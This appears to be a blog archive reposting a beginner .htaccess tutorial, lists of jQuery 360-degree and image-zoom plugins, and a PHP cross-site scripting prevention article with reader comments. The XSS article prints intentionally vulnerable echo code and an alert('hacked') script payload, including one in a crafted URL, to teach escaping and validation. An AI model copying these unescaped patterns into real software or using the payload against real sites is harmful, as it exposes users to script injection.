Month: October 2013

.htaccess_2

Posted on

Redirects

Redirects enable us to direct web site visitors from one document within your web site to another. This is useful for example, if you have moved your web site content and would like to redirect visitors from old links to the new content location.

To set-up redirects, create a .htaccess file following the main instructions and guidance which includes the following text:

 

Redirect /old_dir/ http://www.yourdomain.com/new_dir/index.html

The above line tells the Apache Web Server that if a visitor requests a documents located in the directory ‘old_dir’, then to display the document ‘index.html’ located in the directory ‘new_dir’.

You see in this example, the ‘old_dir’ is the location of the document to be requested by the visitor, and is a document or directory located under your main domain. In this example, the directory ‘old_dir’ would be located at ‘http://www.yourdomain.com/old_dir/’. However, you will also notice the location of the file that the visitor is to be redirected to is a full web site URL, not what is referred to as a relative URL in the case of ‘old_dir’. This means we can redirect visitors to the ‘old_dir’ folder to any web site document, it doesn’t have to be held within your web site content and could be any web site.

It is very important (and the most common cause of error) that you understand the difference between a relative URL and an absolute/full URL. A relative URL is the location of the document within the web site, and does not include the actual domain name of the web site. These are used for documents held within the web site to simplify and shorten the URL. A absolute or full URL is one which includes the full domain name.

For example, for a absolute/full URL, ‘http://www.yourdomain.com/directory/file.html’. the relative URL for this document would be, ‘/directory/file.html’.

Next Article: Password protection

.htaccess

Posted on

What is .htaccess?

.htaccess is a configuration file for use on web servers running the Apache Web Server software. When a .htaccess file is placed in a directory which is in turn ‘loaded via the Apache Web Server’, then the .htaccess file is detected and executed by the Apache Web Server software. These .htaccess files can be used to alter the configuration of the Apache Web Server software to enable/disable additional functionality and features that the Apache Web Server software has to offer. These facilities include basic redirect functionality, for instance if a 404 file not found error occurs, or for more advanced functions such as content password protection or image hot link prevention.

How to use .htaccess

‘.htaccess’ is the filename in full, it is not a file extension. For instance, you would not create a file called, ‘file.htaccess’, it is simply called, ‘.htaccess’. This file will take effect when placed in any directory which is then in turn loaded via the Apache Web Server software. The file will take effect over the entire directory it is placed in and all files and subdirectories within the specified directory.

You can create a .htaccess file using any good text editor such as TextPad, UltraEdit, Microsoft WordPad and similar (you cannot use Microsoft NotePad).
 
Here is an example of what you might include in a .htaccess file.

 

AuthName “Member’s Area Name”
AuthUserFile /path/to/password/file/.htpasswd
AuthType Basic
require valid-user
ErrorDocument 401 /error_pages/401.html
AddHandler server-parsed .html

This is a fairly advanced example: it enables password protection on the directory; it offers redirection to a custom error page if a user fails to login correctly; and it enables SSI (server side includes) for use with ‘.html’ files. Please don’t be put off, it’s very simple once you gain a basic understanding and this article provides examples which are ready to go – simply copy, paste and customise. Examples are explained line by line so it is clear exactly what each line does and why you need it.

Once you have created a .htaccess file, which may look similar to the one shown above (or may simply contain one line), you need to upload it. This should be done using a FTP (file transfer protocol) program. You should already have one which you will have used to upload your web site content. If not, many are available free of charge from web sites such as ‘Download.com’ and we can recommend ‘CuteFTP’ and ‘WSFTP’.

When uploading your .htaccess files, it is very important you upload the file in ‘ASCII’ mode. ‘ASCII’ and ‘BINARY’ are different methods of transferring data and it is important .htaccess files are transferred in ‘ASCII’ mode and not ‘BINARY’. It is likely your FTP software will default to ‘BINARY’ so look for a ‘Transfer Mode’ or ‘Transfer Type’ option in the menus.

Upload the .htaccess file to the directory you would like it to take effect over. Now visit this directory using your web browser as you would for any other document on your web site and check it has worked correctly.

Note, when you upload your .htaccess file it may not appear in the directory listings for files on your web site. Do not worry; this means your server or FTP software is hiding them which should not be an issue.

A possible cause of error is if the file permissions on the .htaccess file are not set correctly. This only occurs on certain servers, but you may like to change the permissions on the file to ‘755’ or ‘executable’. You can do this with your FTP software, look for a ‘File Permissions’ or ‘CHMOD’ option, and input ‘0755’.

If your .htaccess file does not work, you should contact your system administrator or web hosting company and ensure they have enabled .htaccess within your account. Some web hosting companies do not allow use without permission. If errors persist, consult this article for advice, or contact your system administrator for advice.

Error documents

Creating custom error pages is very useful, it allows you to show web site visitors a friendly error message, for instance if a URL on your web site does not work. This avoids the unfriendly ‘404 File Not Found’ error and allows you to display a friendly error, explaining possible solutions and guiding the visitor back into your web site content, rather than leaving them frustrated and lost.

To set-up custom error documents, create a .htaccess file following the main instructions and guidance which includes the following text:

 

ErrorDocument 404 /error_pages/404.html

The above line tells the Apache Web Server to display the document located at /error_pages/404.html (under your domain name/web site address) whenever a 404 (file not found) error occurs.

In this example, we have assumed you have created the error document and called it ‘404.html’ and that you have placed it in a directory called ‘error_pages’ under your domain name. For example, http://www.yourdomain.com/error_pages/404.html

The document 404.html is a normal HTML document like the others in your web site and can display whatever content you wish, however we recommend including a ‘File Not Found’ message.

To setup further error documents, for example for ‘401 Unauthorised’, ‘403 Forbidden’, and ‘500 Internal Server’ error messages, create a .htaccess file following the main instructions and guidance which includes the following text:

 

ErrorDocument 401 /error_pages/401.html
ErrorDocument 404 /error_pages/404.html
ErrorDocument 500 /error_pages/500.html

It’s all very well displaying a friendly error message, but more importantly you need to resolve the error. By using a CGI script instead of a static HTML document as the error document allows us to record errors in a database, and resolve them.

This can be achieved very easily thanks to a variety of pre-made solutions which can even show us which errors are received most frequently. Such products can be found on The CGI Resource Index and HotScripts.com.

360Å Rotate

Posted on Updated on

Login / Join
jQuery4u

Learn
Contribute
Demos
Plugins
Mobile
Resources
Jobs
Random

Twitter 8,300+
Facebook 5,700+
RSS 5,500+

Oct312011
6 Comments

8+ jQuery 360 Degrees Image Display Plugins

Posted by Sam Deering
in Plugins

Just like “panorama” these jQuery 360 degrees Image Display Plugins amazingly can display a 360 degree view of your object/landscape from all angles. (hey – it’s definitely more fun to look at stuff from all the angles!). No Flash player required, this is all done with JavaScript & jQuery. Most of them require a 36 image collation of the main angles of your object/landscape, once you have that it’s easy as pie. Enjoy!

Related posts:

30 Text Captions Overlay Image Plugins
30 jQuery Unique Image Sliders
jQuery Image Parallax Demo

1. Reel 1.1.3

It is a jQuery plugin which takes an image tag and makes it a live “projection” of pre-built animation frames sequence. Its aim is to provide a 360° view of something or someplace. Great alternative to widely used Flash and Java techniques.

Reel 1.1.3

Source + Demo
2. Multiple 360 images

Adds multiple 360 images on one page. Creates unlimited instances of the 360 JavaScript viewers.

Multiple 360 images

Source + Demo
3. jQuery threesixty

Is a really small plug-in that enable you do build flash-like “panorama” or 360 degree view of an object in a non-obtrusive way.

jQuery threesixty

Source + Demo
4. picture-360-rotation

360-degree rotating display objects in pictures. Support photo rotating objects by hand, the synthesis of 360-degree animations. Interior hand-rotating camera support, the synthesis of 360-degree look around effect through the IE6, IE7, IE8, Chorme, Firefox, Opera, Safari test.

picture-360-rotation

SourceDemo
5. jQuery Solar System Rotator

The latest demonstration of what is possible with JavaScript comes from young web programmer and enterprenuer Will Jessup. Using the JQuery JavaScript library, he has put together an impressively compact (in terms of bandwidth) graphical simulation of the solar system.

jQuery Solar System Rotator

Source + Demo
6. 360 Spin Rotate & Zoom

It is possible to display a series of images as VR Objects 360° with 3D Spin & Zoom.

360 Spin Rotate & Zoom

Source + Demo
7. j360

Is a jQuery plugin designed to display 360 view of product using a set of images.

j360

Source + Demo
8. Spritespin

Is a jQuery plugin that enables sprite animation in your website. The aim of this plugin is to provide a 360 degree view of some kind of product.

Spritespin

Source + Demo
9. Dopeless Rotate

Once more. Dopeless Rotate is Jquery plugin for 360 degree product image rotation and has a nice zoom effect built into it.
Source + Demo

AUTHOR: Sam Deering. Find out more about jQuery4u author on Google Plus.
Enjoyed this post? Share and Leave a comment below, thanks! 🙂

advertise here
Get jQuery Stuff in your inbox!

jQuery Social Stream Plugin
HTML5 and jQuery Controls for Web Developers
Front End Masters
jQuery ModalBox
jQuery UI Widgets for PC, Mobile and Touch devices
Advertise here
Best CDN

©2010-2012 jQuery4u / Sam Deering
jQuery4u is an online community for JavaScript and jQuery developers to help them learn, develop & gain exposure in the field.
Contact

jQuery Demos
jQuery Function Demos
jQuery Plugin Directory
jQuery Video Tutorials

+ Submit a jQuery Plugin
+ Submit a jQuery Video Tutorial
+ Become a jQuery Author

About
Advertise
Authors
Stats

Twitter
Google+
Facebook
LinkedIn
Youtube
Delicious
RSS
stumbleupon

Jquery_Zoom_Effect

Posted on

55+ Best Free jQuery Image Zoom Effect Plugins

Posted by on 23 September 2013

55+ Best Free jQuery Image Zoom Effect Plugins

 
ThemeForest

Best and useful free jquery image zoom effect plugins list. And some better than others.

This is an easy to implement zoom effect plugin which is very handy, specially, in e-commerce projects & galleries.
Nice way to view details on an image.
When we see an image on a web page, it’s second nature for us to move our mouse over it or try to click it.
We have come to expect some level of interactivity when it comes to images, especially with modern web design technologies, such as jQuery.
If you happen to be working on a project that requires the images to have a little something extra, then jQuery is the way to go.
To help you out, we’ve rounded up 45+ jQuery Zoom Effect Plugins and Techniques for Doing More with Images.

You May Also Like:

55+ Best Free jQuery Accordion Menu Plugins
45+ Best Free jQuery Countdown Timer Scripts
55+ Best Premium & Free CSS3 jQuery Menus Plugins

[UPDATED : 24 SEP 2013]

ImgZoom

ImgZoom is a Jquery Plugin, which helps you to allow your user to view the thumbnail image in a bigger view on mouse hover. This is very useful for websites which is related to Media and Applications. You can simply customize the Plugin as well as the image container according to your page design. It’s very easy to install and use a beginner can also use this and enrich his/her website.

MORE / INFO DEMO

JQuery zoom plugin – Cloud zoom

Cloud Zoom is a jQuery plugin comparable to commercial image zoom products such as Magic Zoom. Compared to the popular jQZoom plugin, Cloud Zoom is smaller, has more features and more robust compatability across browsers.

MORE / INFO DEMO

Zoomer jQuery Products Showcase – with Lightbox

Zoomer! is the definitive tool for showcasing products, with its built-in zoom + panning + dragging features, which can be easily customized due to its flexible theme selector and config parameters, directly from the html file. Also more configurations can be edited through the css style sheet file. It comes with 3 themes, Dark, Light & Compact, to make easy the integration on your web project. The powerful jQuery library makes this component cross-platform.

MORE / INFO DEMO

KoalaZoom jQuery Plugin v1.0

This plugin makes images in an unordered list to zoom in on mouse hover and displays relative information.
KoalaZoom was created in just a few hours. I’m planning on adding more effects and options in the next version.

MORE / INFO DEMO

jQuery image zoom effect

There are two DIV’s that make up the construction of each element, we first have out .item div which is the container for our image and caption. Directly inside the ‘item’ div we have the image with the ‘caption’ div directly below that with a link and paragraph tag inside. take a look at the code and image structure below to see the construction of the div elements.

MORE / INFO DEMO

Epic Image Zoom jQuery Plugin

MORE / INFO DEMO

ImageZoom – Responsive jQuery Image Zoom Plugin

ImageZoom is a jQuery plugin for image zoom effect. It has thrid mode of image zoom effect : inner mode,standard mode and follow mode.

MORE / INFO DEMO

Smooth Zoom Pan – jQuery Image Viewer

This is a javascript / CSS based image viewer prepared to display product photos, maps or any image within custom small area. Can be configured and implemented in web pages with simple copy / paste steps.

MORE / INFO DEMO

Zoombie – A jQuery Plugin For Zoom Effects

ZOOMBIE is a lightweight JavaScript plugin that can be used by the developers to give their images a highly interactive zoom effects.

MORE / INFO DEMO

ZoomShowcase – A jQuery Banner Rotator

Looking for a different kind of jQuery banner? ZoomShowcase is a unique jQuery Banner that will add a fresh look to your website. It’s built on top of jQuery 1.9, and comes with several customizable options.

MORE / INFO DEMO

Image Effects Pack – jQuery Powered

A pack of premium image effects to enhance your website user experience.

MORE / INFO DEMO

JQuery Zoom Wizard

Zoom Wizard is a super flexible and snappy jQuery plugin that lets you add zoom functionality to your images. It is a complete package with three totally different modes of zooming and you can choose one that best fits your needs.

MORE / INFO DEMO

Zoome – jQuery Image Zoom Effect Plugin

Zoome is a jQuery plugin to help you zoom images with hover effect(grayscale,blur,transparent) and you can zoom-in or zoom-out use mousewheel.

MORE / INFO DEMO

NuvuZoom 2.0 – Simple, Elegant jQuery Zoom

Our Virtual Private Server is experiencing problems and none of our demo’s are available at this time – Please be patient and check back in a day or two.

MORE / INFO DEMO

jQuery Image Zoom and Panning Plugin

This is a jQuery plugin that creates a zoom and panning effect on an image. The plugin requires two image versions, one small preview and one larger for zoom and panning. This is a nice way to view details on an image.

MORE / INFO DEMO

jQuery Mega Image Viewer – animated zoom and pan

The mega image viewer jQuery plugin allows you to easily replace div tags with animated image viewers.

MORE / INFO DEMO

jQuery Zoomer

jQuery Zoomer has been accepted as this month’s free file. Hopefully I can put a smile on your face, by providing this file free of charge. I’d love to hear back from you and would like to see it in use on the web!

MORE / INFO DEMO

jQuery Giga Image Viewer – animated zoom and pan

Giga image viewer displays very large images without loading the whole image, giga viewer loads only needed fragment of the big image divided into small pieces (256×256 px).

MORE / INFO DEMO

jQuery Horizontal Image Scroller w/ Lightbox

This is a jQuery image scroller with lightbox. The scroll bar/indexes and directional buttons allow for easy navigation of your image gallery. Image click can either open the included lightbox or a regular link. The scroller is also re-sizable and fully configurable through the plugin’s parameters.

MORE / INFO DEMO

Fine Zoom

Fine Zoom can zoom images with different zoom of levels with smooth effect. Also drag and pan are done with a smooth effect. Just apply the plugin to any image and you can zoom in and out images just like Google Maps Zoom. It works everywhere even on touch devices(android and iosx). On Ipad and Iphone for zoom can be used the classic pinch method.

MORE / INFO DEMO

ZoomBox Lightbox Variation – jQuery powered

Want a cool way to showcase your beautiful images in their full detail ? This is the script for you!

MORE / INFO DEMO

jquery Slider Zoom In/Out Effect Fully Responsive

Zoom In/Out Effect Sliders Full Collection comes in 4 versions: Fixed Dimensions, Full Width, Full Screen and SideBar banners/Mini-Galeries. Please see the features and check the live preview of this slider and convince yourself of its quality.

MORE / INFO DEMO

jQuery Tap Zoom

Touch Zoom is a jQuery plugin that allows your user to zoom into an image using their mouse or finger depending on the viewing device. It works well in all modern browsers, degrades gracefully in IE8 and IE7 and is optimized for responsive web design. There are a lot of features that are available if you purchase the full version including: customized gesture, borders, zoom and animation control and an optional parameter that allows the user to implement a conditional load for the large image, which is only called when the user interacts with it.

MORE / INFO DEMO

Panzoom – jQuery Plugin for Panning & Zooming Elements with CSS3

Panzoom is a progressive plugin to create panning and zooming functionality for an element.

Rather than setting width and height on an image tag, Panzoom uses CSS transforms and matrix functions to take advantage of hardware/GPU acceleration in the browser, which means the element can beanything: an image, a video, an iframe, a canvas, text, whatever.

MORE / INFO DEMO

jQuery Zoom Effect

A plugin to enlarge images on click or mouseover.

MORE / INFO

NuvuZoom 2.0 – Simple, Elegant jQuery Zoom

Our Virtual Private Server is experiencing problems and none of our demo’s are available at this time – Please be patient and check back in a day or two. We hopefully will have this resolved soon.

MORE / INFO DEMO

Hover-Zoom – Image Zoom on Mouse Hover with Transparency Effect

This Jquery plugin
– displays a your images in full size when the mouse hovers over them.
– also works with dynamically created images.
– press “Ctrl+b” or just “b” to enable or disable it on your web page.
– check out the transparecy feature of the hover-zoom’ed image!
Just include this plugin and all images in your webpage will have the Hover-Zoom effect.

MORE / INFO DEMO

mlens – A Slick jQuery Magnifying Glass Plugin

mlens is a jQuery plugin that simplifies creating this magnifying glass functionality so much.

It has some parameters like the shape of the lens (circle or square), lens size and the options for customizing the border.

MORE / INFO DEMO

Photobox – CSS3 Image Gallery jQuery Plugin

Photobox is a lightweight image gallery modal window script which uses CSS3 heavily for silky-smooth animations and transitions. The goal was to great an image gallery script that utilizes GPU rending instead is the 90% scripts out there which are using javascript to move things around the old fashioned way.

MORE / INFO DEMO

Fresco – Responsive jQuery Lightbox Zoom Plugin

Fresco is a beautiful responsive lightbox that can be used to create stunning overlays that work great at any screen size, in all browsers on every device. To make things even more awesome Fresco comes with fullscreen zoom, retina-ready skins, Youtube and Vimeo integration for HTML5 video and a powerful Javascript API.

MORE / INFO

Picbox – Lightweight jQuery LightBox

Picbox is a lightweight (around 5KB) javascript image viewer based on the excellent Slimbox, and available using either the jQuery frameworks. It features automatic resizing and zooming of large images, allowing them to fit in the browser or be viewed at full size.

MORE / INFO

Snipe – Sniper Lens Style Zoom on Images

Snipe is a jQuery plugin to add a sniper-lens-style zoom on images. Snipe makes zoom effect over images that follows the mouse.

MORE / INFO DEMO

SergeLand Image Zoomer v3.0 Plugin

SergeLand Image Zoomer is free jQuery image zoom plugin the magnifying glass effect.

MORE / INFO DEMO

Ion Zoom 1.2 – Image zoom jQuery plugin

ion.zoom — easy image lightbox jQuery plugin for small galleries. Allow to zoom images at place.

MORE / INFO

Zoomimage – jQuery plugin

Present you images in stylish way. The links are unobtrusively highjacked to open the images in an inpage popup with drop shadow and border.

MORE / INFO

jQuery Mouseover Zoom together with AJAX-ZOOM

This jQuery mousehover extension is somewhat different! At first glance it looks like a regular mouseover zoom / hover zoom alike many others free and paid scripts. In fact it is, however it is only a preview of the real high resolution AJAX-ZOOM view, which is opened at fullscreen when you click on the preview image or lens (try it).

MORE / INFO

jQuery EasyZoom Plugin

EasyZoom is an elegant, highly optimised jQuery image zoom and panning plugin based on the original work by Alen Grakalic. EasyZoom includes an extension to create a gallery and supports touch-enabled devices including the iPhone and iPad.

MORE / INFO

NivoZoom jQuery Plugin

A great jQuery image Zoomer with 5 different zoom types and optional overaly support. Supports HTML captions with a simple and clean valid markup. It has loads of setings to tweak and play with. Very light weight with only 4kb.

MORE / INFO

Zoomooz.js – jQuery Zoom Plugin for Web Page Elements

Zoomooz is an easy-to-use jQuery plugin for making any web page element zoom.

MORE / INFO

Photo Zoom Out Effect With jQuery

Today we will show you how to create a simple image zoom out effect with jQuery. The idea is show some images which are zoomed in initially and when hovering over an image it gets zoomed out. This effect could be used in photography websites or image galleries. Our example uses some black and white images to focus on the effect.

MORE / INFO DEMO

jQZoom 2.2 – jQuery Image Zoom Tool

A handy script to magnify your images / photos. Based on jQuery, a Free jQuery alternative to Magic Zoom.

MORE / INFO

jQuery Zoomy Plugin

Zoomy is a quick and easy to integrate plugin that will zoom into any picture. Zoomy is a flexible zoom plugin and can be used with either, two copies of the same image, or one image linked to its self. Most CMS systems save or create multiple sizes of an image so its can be easily set up. Just link the larger zoom image on the smaller display image, and tell the plugin to use that link when zooming. It takes only a little bit of scripting.

MORE / INFO

Mosaiqy – Viewing and Zooming Photos Plugin

Mosaiqy is a jQuery plugin for viewing and zooming photo working on Opera 9+, Firefox 3.6+, Safari 3.2+, Chrome and IE7+. Photos are retrieved from a JSON/JSONP data structure and randomly moved inside the grid. All expensive animations are taken over by your GPU on recent browsers using CSS3 transitions, minimizing the CPU overhead.

MORE / INFO

jQuery AJAX-ZOOM Plugin

AJAX-ZOOM is a powerful image zoom & pan plugin with 360° rotate option, jQuery image gallery option based on jQuery (JavaScript) and PHP. It is a completely packaged and free / low cost jQuery zoom solution to present high resolution images on the web. With over 300 other options AJAX-ZOOM is very flexible regarding it’s appearance and can be seamlessly integrated into any website – branding free!

MORE / INFO

Cloud Zoom (V3.0)

Cloud Zoom is a popular fly-out jQuery image zoom plugin used on many high profile retail sites.

Continuous improvement, regular updates and technical support make it a favoured choice for busy developers who need a mature and reliable jQuery image zoom solution for their clients.

MORE / INFO

fancyBox – Fancy jQuery Lightbox Alternative

fancyBox is a tool that offers a nice and elegant way to add zooming functionality for images, html content and multi-media on your webpages. It is built on the top of the popular JavaScript framework jQuery and is both easy to implement and a snap to customize.

MORE / INFO

Jquery Image Zoom Plugin Examples

The zoom works with either one or two images. Two images are recommended for the zoom to work the best. Most of the settings for the zoom box can be overridden.

MORE / INFO

GSInnerZoom – Inner Zoom & Magnifier jQuery Plugin

GSInnerZoom is a jQuery plugin that permit you to do an inner zoom or magnifier inside an image.

MORE / INFO

Jquery iviewer

JQuery.iviewer is an jquery ui widget representing image viewer component used to load and view image with ability to zoom image and to drag it with mouse in container.

MORE / INFO

jQuery PhotoShoot Plugin 1.0

The jQuery PhotoShoot plugin gives you the ability to convert any div on your web page into a photo shooting effect, complete with a view finder.

MORE / INFO DEMO

Creating An Image Zoom And Clip Effect With jQuery

A long time ago, I saw a really cool image effect in which I could select a region of an image and the image would automatically scale up to show the selected region. In that effect, the grainy, scaled-up image was then replaced with a hi-resolution version of the selected region. Years later, as I am getting more comfortable with jQuery, I wanted to see if I could recreate the effect. As an initial blog post, I’m just going to deal with the client-side image zoom; I’ll save the hi-resolution image creation and client-side swap for a follow-up post.

MORE / INFO

jQuery Image Zoom 2.0

This plug-in makes links pointing to images open in the “Image Zoom”. Clicking a link will zoom out the clicked image to its target-image. Click anywhere on the image or the close-button to zoom the image back in. Only ~3k minified.

MORE / INFO

jQuery plugin : Fancy Zoom

This plugin is the jQuery version on the fancy zoom effect. As describe on the fancy zoom web site, this effect is providing a smooth, clean, truly Mac-like effect, almost like it’s a function of Safari itself (see the demo below).

MORE / INFO

PanView jquery image zoom effect plugin

Creates a pan view, hold down your mouse button and start moving.

MORE / INFO DEMO

PHP & jQuery image upload and crop

This script has been updated please see the following link PHP & jQuery image upload and crop v1.2 AND the new fully jquery’d version of it Jquery image upload and crop for PHP. Both new scripts handle JPG, GIF and PNG upload and crop!

MORE / INFO DEMO

jQuery Image Cropping Plugin

Jcrop is the quick and easy way to add image cropping functionality to your web application. It combines the ease-of-use of a typical jQuery plugin with a powerful cross-platform DHTML cropping engine that is faithful to familiar desktop graphics applications.

MORE / INFO DEMO

ImgAreaSelect jQuery Zoom Plugin

imgAreaSelect is a jQuery plugin for selecting a rectangular area of an image. It allows web developers to easily implement image cropping functionality, as well as other user interface features, such as photo notes (like those on Flickr).

MORE / INFO DEMO

Crop, labelOver and pluck jQuery Zoom Plugin

I’ve been hoarding a few plugins which I thought it was about time I did some sharing.

MORE / INFO DEMO

jQuery Cycle Zoom Plugin

The jQuery Cycle Plugin is a slideshow plugin that supports many different types of transition effects. It supports pause-on-hover, auto-stop, auto-fit, before/after callbacks, click triggers and much more. It also supports, but does not require, the Easing Plugin.

MORE / INFO DEMO

ImageLens – A jQuery plug-in for Lens Effect Image Zooming

Use this jQuery plug-in to add lens style zooming effect to an image.

MORE / INFO DEMO

JQZoom Image Zoom Plugin

JQZoom is a javascript image magnifier built at the top of the popular jQuery javascript framework. jQzoom is a great and a really easy to use script to magnify what you want.

MORE / INFO DEMO

AnythingZoomer jQuery Plugin

You have a small area. You mouse over it. An area pops up giving you a zoomed in closer look. This is a jQuery plugin that does it. I’m not going to tell you what you should use it for or elaborate use-case scenarios. Your own creativity can help you there.

MORE / INFO DEMO

Hover Zoom Effect with jQuery and CSS

The hover zoom effect basically reverse zooms an image while fading in a label on top of it when the mouse hovers over it. It makes for a pretty slick effect which could be used on thumbnails. As always, you can check out a demo or grab the source right here if you don’t want to read the entire tutorial.

MORE / INFO DEMO

Featured jQuery Image Zoomer Effect

This script lets you view a magnified portion of any image upon moving your mouse over it. A magnifying area appears alongside the image displaying the magnified image on demand. The user can toggle the zoom level by using the mousewheel. It’s great to use on product images, photos, or other images with lots of details you want users to be able to get into on command.

MORE / INFO

Content may not be re-published without permission.
Some pages on this site include affiliate links.

xss preventation2

Posted on

PHP Security

 

Cross-Site Scripting Attacks (XSS)

Published April 30, 2012

A cross-site scripting attack is one of the top 5 security attacks carried out on a daily basis across the Internet, and your PHP scripts may not be immune.

Also known as XSS, the attack is basically a type of code injection attack which is made possible by incorrectly validating user data, which usually gets inserted into the page through a web form or using an altered hyperlink. The code injected can be any malicious client-side code, such as JavaScript, VBScript, HTML, CSS, Flash, and others. The code is used to save harmful data on the server or perform a malicious action within the user’s browser.

Unfortunately, cross-site scripting attacks occurs mostly, because developers are failing to deliver secure code. Every PHP programmer has the responsibility to understand how attacks can be carried out against their PHP scripts to exploit possible security vulnerabilities. Reading this article, you’ll find out more about cross-site scripting attacks and how to prevent them in your code.

Learning by Example

Let’s take the following code snippet.

1
2
3
4
<form action="post.php" method="post">
 <input type="text" name="comment" value="">
 <input type="submit" name="submit" value="Submit">
</form>

Here we have a simple form in which there is a text box for data input and a submit button. Once the form is submitted, it will submit the data to post.php for processing. Let’s say all post.php does is output the data like so:

1
2
<?php
echo $_POST["comment"];

Without any filtering, a hacker could submit the following through the form which will generates a popup in the browser with the message “hacked”.

<script>alert("hacked")</script>

This example, despite its being malicious in nature, does not seem to do much harm. But think about what could happen in the JavaScript code was written to steal a user’s cookie and extract sensitive information from it? There are far worse XSS attacks than a simple alert() call.

Cross-site scripting attacks can be grouped in two major categories, based on how they deliver the malicious payload: non-persistent XSS, and persistent XSS. Allow me to discuss each type in detail.

Non-persistent XSS

Also known as reflected XSS attack, meaning that the actual malicious code is not stored on the server but rather gets passed through it and presented to the victim, is the more popular XSS strategy of the two delivery methods. The attack is launched from an external source, such as from an e-mail message or a third-party website.

Here’s an example of a portion of a simple search result script:

1
2
3
4
5
6
<?php
// Get search results based on the query
echo "You searched for: " . $_GET["query"];
 
// List search results
...

The example can be a very unsecure results page where the search query is displayed back to the user. The problem here is that the $_GET["query"] variable isn’t validated or escaped, therefore an attacker could send the following link to the victim:

http://example.com/search.php?query=<script>alert("hacked")</script>

Without validation, the page would contain:

1
You searched for: <script>alert("hacked")</script>

Persistent XSS

This type of attack happens when the malicious code has already slipped through the validation process and it is stored in a data store. This could be a comment, log file, notification message, or any other section on the website which required user input at one time. Later, when this particular information is presented on the website, the malicious code gets executed.

Let’s use the following example for a rudimentary file-based comment system. Assuming the same form I presented earlier, let’s say the receiving script simply appends the comment to a data file.

1
2
<?php
file_put_contents("comments.txt", $_POST["comment"], FILE_APPEND);

Elsewhere the contents of comments.txt is shown to visitors:

1
2
<?php
echo file_get_contents("comments.txt");

When a user submit a comment it gets saved to the data file. Then the entire file (thus the entire series of comments) is displayed to the readership. If malicious code is submitted then it will be saved and displayed as is without any validation or escaping.

Preventing Cross-Site Scripting Attacks

Fortunately, as easily as an XSS attack can carried out against an unprotected website, protecting against them are just as easy. Prevention must always be in your thoughts, though, even before you write a single line of code.

The first rule which needs to be “enforced” in any web environment (be it development, staging, or production) is never trust data coming from the user or from any other third party sources. This can’t be emphasized enough. Every bit of data must be validated on input and escaped on output. This is the golden rule of preventing XSS.

In order to implement solid security measures which prevents XSS attacks, we should be mindful of data validation, data sanitization, and output escaping.

Data Validation

Data validation is the process of ensuring that your application is running with correct data. If your PHP script expects an integer for user input, then any other type of data would be discarded. Every piece of user data must be validated when it is received to ensure it is of the corrected type, and discarded if it doesn’t pass the validation process.

If you wanted to validate a phone number, for example, you would discard any strings containing letters, because a phone number should consist of digits only. You should also take the length of the string into consideration. If you wanted to be more permissive, you could allow a limited set of special characters such as plus, parenthesis, and dashes which are often used in formatting phone numbers specific to your intended locale.

1
2
3
4
5
<?php
// validate a US phone number
if (preg_match('/^((1-)?d{3}-)d{3}-d{4}$/', $phone)) {
    echo $phone . " is valid format.";
}

Data Sanitization

Data sanitization focuses on manipulating the data to make sure it is safe by removing any unwanted bits from the data and normalizing it to the correct form. For example, if you are expecting a plain text string as user input, you may want to remove any HTML markup from it.

1
2
3
<?php
// sanitize HTML from the comment
$comment = strip_tags($_POST["comment"]);

Sometimes, data validation and sanitization/normalization can go hand in hand.

1
2
3
4
5
6
7
<?php
// normalize and validate a US phone number
$phone = preg_replace('/[^d]/', "", $phone);
$len = strlen($phone);
if ($len == 7 || $len == 10 || $len == 11) {
    echo $phone . " is valid format.";
}

Output Escaping

In order to protect the integrity of displayed/output data, you should escape the data when presenting it to the user. This prevents the browser from applying any unintended meaning to any special sequence of characters that may be found.

1
2
3
<?php
// escape output sent to the browser
echo "You searched for: " . htmlspecialchars($_GET["query"]);

All Together Now!

To better understand the three aspects of data processing, let’s take another look at the file-based comment system from earlier and modify it to make sure it’s secure. The potential vulnerabilities in the code stem from the fact that $_POST["comment"] is blindly appended to the comments.txt file which is then displayed directly to the user. To secure it, the $_POST["comment"] value should be validated and sanitized before it is added to the file, and the file’s contents should be escaped when displayed to the user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// validate comment
$comment = trim($_POST["comment"]);
if (empty($comment)) {
    exit("must provide a comment");
}
 
// sanitize comment
$comment = strip_tags($comment);
 
// comment is now safe for storage
file_put_contents("comments.txt", $comment, FILE_APPEND);
 
// escape comments before display
$comments = file_get_contents("comments.txt");
echo htmlspecialchars($comments);

The script first validates the incoming comment to make sure a non-zero length string as been provided by the user. After all, a blank comment isn’t very interesting.

Data validation needs to happen within a well defined context, meaning that if I expect an integer back from the user, then I validate it accordingly by converting the data into an integer and handle it as an integer. If this results in invalid data, then simply discard it and let the user know about it.

Then the script sanitizes the comment by removing any HTML tags it may contain.

And finally, the comments are retrieved, filtered, and displayed.

Generally the htmlspecialchars() function is sufficient for filtering output intended for viewing in a browser. If you’re using a character encoding in your web pages other than ISO-8859-1 or UTF-8, though, then you’ll want to use htmlentities(). For more information on the two functions, read their respective write-ups in the official PHP documentation.

Bear in mind that no single solution exists that is 100% secure on a constantly evolving medium like the Web. Test your validation code thoroughly with the most up to date XSS test vectors. Using the test data from the following sources should reveal if your code is still prone to XSS attacks.

Summary

Hopefully this article gave you a good explanation of what cross-site scripting attacks are and how you can prevent them from happening to your code. Never trust data coming from the user or from any other third party sources. You can protect yourself by validating the incoming values in a well defined context, sanitizing the data to protect your code, and escaping output to protect your users. After you’ve written your code, be sure your efforts work correctly by testing the code as thoroughly as you can.

Image via Inge Schepers / Shutterstock

Get a FREE Chapter of SitePoint’s New Book: Jump Start PHP

Get started with PHP fundamentals and learn best practices used by the pros, including Object Oriented Programming.

 

28 Reader comments

  1. Anonymous | May 1, 2012 at 2:33 am

    Line 09 in the final example is wrong. The htmlspecialchars indicates that you want to display text “as-is” in an HTML context and have special characters displayed, not interpreted by the browser.

    Your snippet would prevent anyone from talking _about_ HTML elements (or stuff that looks like it). Users cannot use angle brackets directly, nor can they use entities (those will be escaped again). Choose an input and output format and stick to it; Don’t mix contexts. So, no strip_tags here.

    Your example also assumes that webpage character encoding and the htmlspecialchars default encoding match.

  2. Chris | May 1, 2012 at 3:13 pm

    Dude… It’s just example code 😉
    Nice XSS introduction though.

    1. Wolf_22 | May 9, 2012 at 7:23 am

      >>Dude… It’s just example code 😉

      No, it’s not “just example code.” It’s learning material that can potentially be used by thousands of web developers across the world. That’s not the kind of audience you want to be giving deficient examples to.

      1. doub1ejack | May 9, 2012 at 10:45 am

        Dude. Really. That’s just sample code.

        1. Tom | March 25, 2013 at 5:28 am

